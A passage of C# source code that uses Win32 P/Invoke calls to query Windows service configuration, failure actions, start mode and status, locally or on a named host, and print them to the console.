infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO);
infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_SERVICE_SID_INFO);
infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_TRIGGER_INFO);
infoLevels.Add(NativeConstants.Service.SERVICE_CONFIG_LAUNCH_PROTECTED);
List <string> infoLevelsDesc = new List <string>();
infoLevelsDesc.Add("SERVICE_CONFIG_DELAYED_AUTO_START_INFO");
infoLevelsDesc.Add("SERVICE_CONFIG_DESCRIPTION");
infoLevelsDesc.Add("SERVICE_CONFIG_FAILURE_ACTIONS");
infoLevelsDesc.Add("SERVICE_CONFIG_FAILURE_ACTIONS_FLAG");
infoLevelsDesc.Add("SERVICE_CONFIG_PREFERRED_NODE");
infoLevelsDesc.Add("SERVICE_CONFIG_PRESHUTDOWN_INFO");
infoLevelsDesc.Add("SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO");
infoLevelsDesc.Add("SERVICE_CONFIG_SERVICE_SID_INFO");
infoLevelsDesc.Add("SERVICE_CONFIG_TRIGGER_INFO");
infoLevelsDesc.Add("SERVICE_CONFIG_LAUNCH_PROTECTED");
for (int i = 0; i < infoLevels.Count; i++)
{
// Determine the buffer size needed (dwBytesNeeded).
success = QueryServiceConfig2(
serviceHandle,
infoLevels[i],
IntPtr.Zero,
0,
out dwBytesNeeded);
if (!success &&
Marshal.GetLastWin32Error() !=
NativeConstants.SystemErrorCode.ERROR_INSUFFICIENT_BUFFER)
{
continue;
}
// Get the info.
ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);
success = QueryServiceConfig2(
serviceHandle,
infoLevels[i],
ptr,
dwBytesNeeded,
out dwBytesNeeded);
if (!success)
{
Marshal.FreeHGlobal(ptr);
string errMsg = "Unable to get the configuration" +
"parameter (QueryServiceConfig2) for '" + infoLevelsDesc[i] +
"' for the service '" + serviceName + "': " +
GetErrorMessage(Marshal.GetLastWin32Error());
CloseServiceHandle(serviceHandle);
CloseServiceHandle(databaseHandle);
throw new ExternalException(errMsg);
}
// While we could use introspection to be able to take on the fly
// the appropriate class to instanciate, we should avoid this as
// instrospection is a costly process.
switch (infoLevels[i])
{
case NativeConstants.Service.SERVICE_CONFIG_DELAYED_AUTO_START_INFO:
Marshal.PtrToStructure(
ptr,
props.ServiceConfig2.SERVICE_DELAYED_AUTO_START_INFO);
break;
case NativeConstants.Service.SERVICE_CONFIG_DESCRIPTION:
Marshal.PtrToStructure(
ptr,
props.ServiceConfig2.SERVICE_DESCRIPTION);
break;
case NativeConstants.Service.SERVICE_CONFIG_FAILURE_ACTIONS:
Marshal.PtrToStructure(
ptr,
props.ServiceConfig2.SERVICE_FAILURE_ACTIONS);
break;
case NativeConstants.Service.SERVICE_CONFIG_FAILURE_ACTIONS_FLAG:
Marshal.PtrToStructure(
ptr,
props.ServiceConfig2.SERVICE_FAILURE_ACTIONS_FLAG);
break;
case NativeConstants.Service.SERVICE_CONFIG_PREFERRED_NODE:
Marshal.PtrToStructure(
ptr,
props.ServiceConfig2.SERVICE_PREFERRED_NODE_INFO);
break;
case NativeConstants.Service.SERVICE_CONFIG_PRESHUTDOWN_INFO:
Marshal.PtrToStructure(
ptr,
props.ServiceConfig2.SERVICE_PRESHUTDOWN_INFO);
break;
case NativeConstants.Service.SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO:
Marshal.PtrToStructure(
ptr,
props.ServiceConfig2.SERVICE_REQUIRED_PRIVILEGES_INFO);
break;
case NativeConstants.Service.SERVICE_CONFIG_SERVICE_SID_INFO:
Marshal.PtrToStructure(
ptr,
props.ServiceConfig2.SERVICE_SID_INFO);
break;
case NativeConstants.Service.SERVICE_CONFIG_TRIGGER_INFO:
Marshal.PtrToStructure(
ptr,
props.ServiceConfig2.SERVICE_TRIGGER_INFO);
break;
case NativeConstants.Service.SERVICE_CONFIG_LAUNCH_PROTECTED:
Marshal.PtrToStructure(
ptr,
props.ServiceConfig2.SERVICE_LAUNCH_PROTECTED_INFO);
break;
}
Marshal.FreeHGlobal(ptr);
}
SERVICE_STATUS serviceStatus = new SERVICE_STATUS();
success = QueryServiceStatus(serviceHandle, out serviceStatus);
if (!success)
{
string errMsg = "Unable to get service status for '" +
serviceName + "': " +
GetErrorMessage(Marshal.GetLastWin32Error());
CloseServiceHandle(serviceHandle);
CloseServiceHandle(databaseHandle);
throw new ExternalException(errMsg);
}
props.ServiceStatus.SERVICE_STATUS = serviceStatus;
props.Name = serviceName;
props.DisplayName = serviceConfig.lpDisplayName;
switch (serviceConfig.dwStartType)
{
case NativeConstants.Service.SERVICE_AUTO_START:
if (props.ServiceConfig2.SERVICE_DELAYED_AUTO_START_INFO.fDelayedAutostart)
{
props.StartMode = ServiceStartMode.AutomaticDelayed;
}
else
{
props.StartMode = ServiceStartMode.Automatic;
}
break;
case NativeConstants.Service.SERVICE_BOOT_START:
props.StartMode = ServiceStartMode.Boot;
break;
case NativeConstants.Service.SERVICE_DISABLED:
props.StartMode = ServiceStartMode.Disabled;
break;
case NativeConstants.Service.SERVICE_DEMAND_START:
props.StartMode = ServiceStartMode.Manual;
break;
case NativeConstants.Service.SERVICE_SYSTEM_START:
props.StartMode = ServiceStartMode.System;
break;
default:
CloseServiceHandle(databaseHandle);
CloseServiceHandle(serviceHandle);
throw new ExternalException(
"The service '" + serviceName + "' has an invalid start type");
}
switch (serviceStatus.dwCurrentState)
{
case NativeConstants.Service.SERVICE_CONTINUE_PENDING:
props.Status = ServiceControllerStatus.ContinuePending;
break;
case NativeConstants.Service.SERVICE_PAUSE_PENDING:
props.Status = ServiceControllerStatus.PausePending;
break;
case NativeConstants.Service.SERVICE_PAUSED:
props.Status = ServiceControllerStatus.Paused;
break;
case NativeConstants.Service.SERVICE_RUNNING:
props.Status = ServiceControllerStatus.Running;
break;
case NativeConstants.Service.SERVICE_START_PENDING:
props.Status = ServiceControllerStatus.StartPending;
break;
case NativeConstants.Service.SERVICE_STOP_PENDING:
props.Status = ServiceControllerStatus.StopPending;
break;
case NativeConstants.Service.SERVICE_STOPPED:
props.Status = ServiceControllerStatus.Stopped;
break;
default:
CloseServiceHandle(databaseHandle);
CloseServiceHandle(serviceHandle);
throw new ExternalException(
"The service '" + serviceName + "' has an invalid status");
}
CloseServiceHandle(databaseHandle);
CloseServiceHandle(serviceHandle);
PrintServiceProperties(props);
return(props);
}
public static ServiceStartMode QueryStartMode(this ServiceController svc)
{
var scManagerHandle = OpenSCManager(null, null, SC_MANAGER_ALL_ACCESS);
fail_if(scManagerHandle == IntPtr.Zero, "Open Service Manager Error");
var serviceHandle = OpenService(
scManagerHandle,
svc.ServiceName,
SERVICE_QUERY_CONFIG | SERVICE_CHANGE_CONFIG);
fail_if(serviceHandle == IntPtr.Zero, "Open Service Error");
UInt32 dwBytesNeeded = 0;
// Allocate memory for struct.
IntPtr ptr = Marshal.AllocHGlobal(4096);
fail_if(ptr == IntPtr.Zero, "can't allocate struct");
bool success = QueryServiceConfig(serviceHandle, ptr, 4096, out dwBytesNeeded);
fail_if(!success, "failed to query service config for '{0}'", svc.ServiceName);
QUERY_SERVICE_CONFIG qUERY_SERVICE_CONFIG = new QUERY_SERVICE_CONFIG();
Marshal.PtrToStructure(ptr, qUERY_SERVICE_CONFIG);
Marshal.FreeHGlobal(ptr);
CloseServiceHandle(serviceHandle);
CloseServiceHandle(scManagerHandle);
return
(ServiceStartMode) qUERY_SERVICE_CONFIG.dwStartType;
}
public static void ServiceQuery(string host, string svcname)
{
bool success;
IntPtr dbHandle;
IntPtr svcHandle;
IntPtr ptr;
UInt32 dwBytesNeeded;
QUERY_SERVICE_CONFIG qconf;
SERVICE_FAILURE_ACTIONS qfail;
int failStructOffset;
QUERY_SERVICE_STATUS_PROCESS qproc;
if (host == "")
{
dbHandle = OpenSCManager(null, null, SC_MANAGER_ALL_ACCESS);
}
else
{
dbHandle = OpenSCManager(host, null, SC_MANAGER_ALL_ACCESS);
}
svcHandle = OpenService(dbHandle, svcname, SERVICE_QUERY_CONFIG);
if (svcHandle == IntPtr.Zero)
{
throw new System.Runtime.InteropServices.ExternalException("Couldn't open the service");
}
ptr = Marshal.AllocHGlobal(4096);
success = QueryServiceConfig(svcHandle, ptr, 4096, out dwBytesNeeded);
if (success == false)
{
throw new System.Runtime.InteropServices.ExternalException("Couldn't query the service");
}
qconf = new QUERY_SERVICE_CONFIG(); // copy ptr to query_service_config struct
Marshal.PtrToStructure(ptr, qconf);
Marshal.FreeHGlobal(ptr); //reset states
success = false;
dwBytesNeeded = 0;
success = QueryServiceConfig2(svcHandle, SERVICE_CONFIG_FAILURE_ACTIONS, IntPtr.Zero, 0, out dwBytesNeeded); //the first call of this function will get the number of bytes needed for the struct
ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);
success = QueryServiceConfig2(svcHandle, SERVICE_CONFIG_FAILURE_ACTIONS, ptr, dwBytesNeeded, out dwBytesNeeded);
qfail = new SERVICE_FAILURE_ACTIONS();
Marshal.PtrToStructure(ptr, qfail);
SC_ACTION[] actions = new SC_ACTION[qfail.cActions];
failStructOffset = 0;
Marshal.FreeHGlobal(ptr); //reset states
success = false;
dwBytesNeeded = 0;
success = QueryServiceStatusEx(svcHandle, SC_STATUS_PROCESS_INFO, IntPtr.Zero, 0, out dwBytesNeeded);//again first call gets buffer size required for struct
ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);
success = QueryServiceStatusEx(svcHandle, SC_STATUS_PROCESS_INFO, ptr, dwBytesNeeded, out dwBytesNeeded);
qproc = new QUERY_SERVICE_STATUS_PROCESS();
Marshal.PtrToStructure(ptr, qproc);
Marshal.FreeHGlobal(ptr); //reset states
success = false;
dwBytesNeeded = 0;
for (int i = 0; i < qfail.cActions; i++)
{
SC_ACTION act = new SC_ACTION();
act.type = Marshal.ReadInt32(qfail.lpsaActions, failStructOffset);
failStructOffset += sizeof(Int32);
act.dwDelay = (UInt32)Marshal.ReadInt32(qfail.lpsaActions, failStructOffset);
failStructOffset += sizeof(Int32);
actions[i] = act;
}
Console.WriteLine("Service Name:\t" + svcname);
Console.WriteLine("Service Type:\t" + qproc.dwServiceType);
Console.WriteLine("State:\t" + qproc.dwCurrentState);
Console.WriteLine("PID:\t" + qproc.dwProcessId);
Console.WriteLine();
Console.WriteLine("Start Type:\t" + qconf.dwStartType);
Console.WriteLine("Error Control:\t" + qconf.dwErrorControl);
Console.WriteLine("BinPath:\t" + qconf.lpBinaryPathName);
Console.WriteLine("Display Name:\t" + qconf.lpDisplayName);
Console.WriteLine("Dependencies:\t" + qconf.lpDependencies);
Console.WriteLine("Reset Period:\t" + qfail.dwResetPeriod);
Console.WriteLine("Reboot Message:\t" + qfail.lpRebootMsg);
Console.WriteLine("Failure Command Line:\t" + qfail.lpCommand);
Console.WriteLine("Failure Actions:\t");
for (int i = 0; i < actions.Length; i++)
{
Console.Write("{0} -- Delay = {1}", actions[i].type, actions[i].dwDelay);
}
}
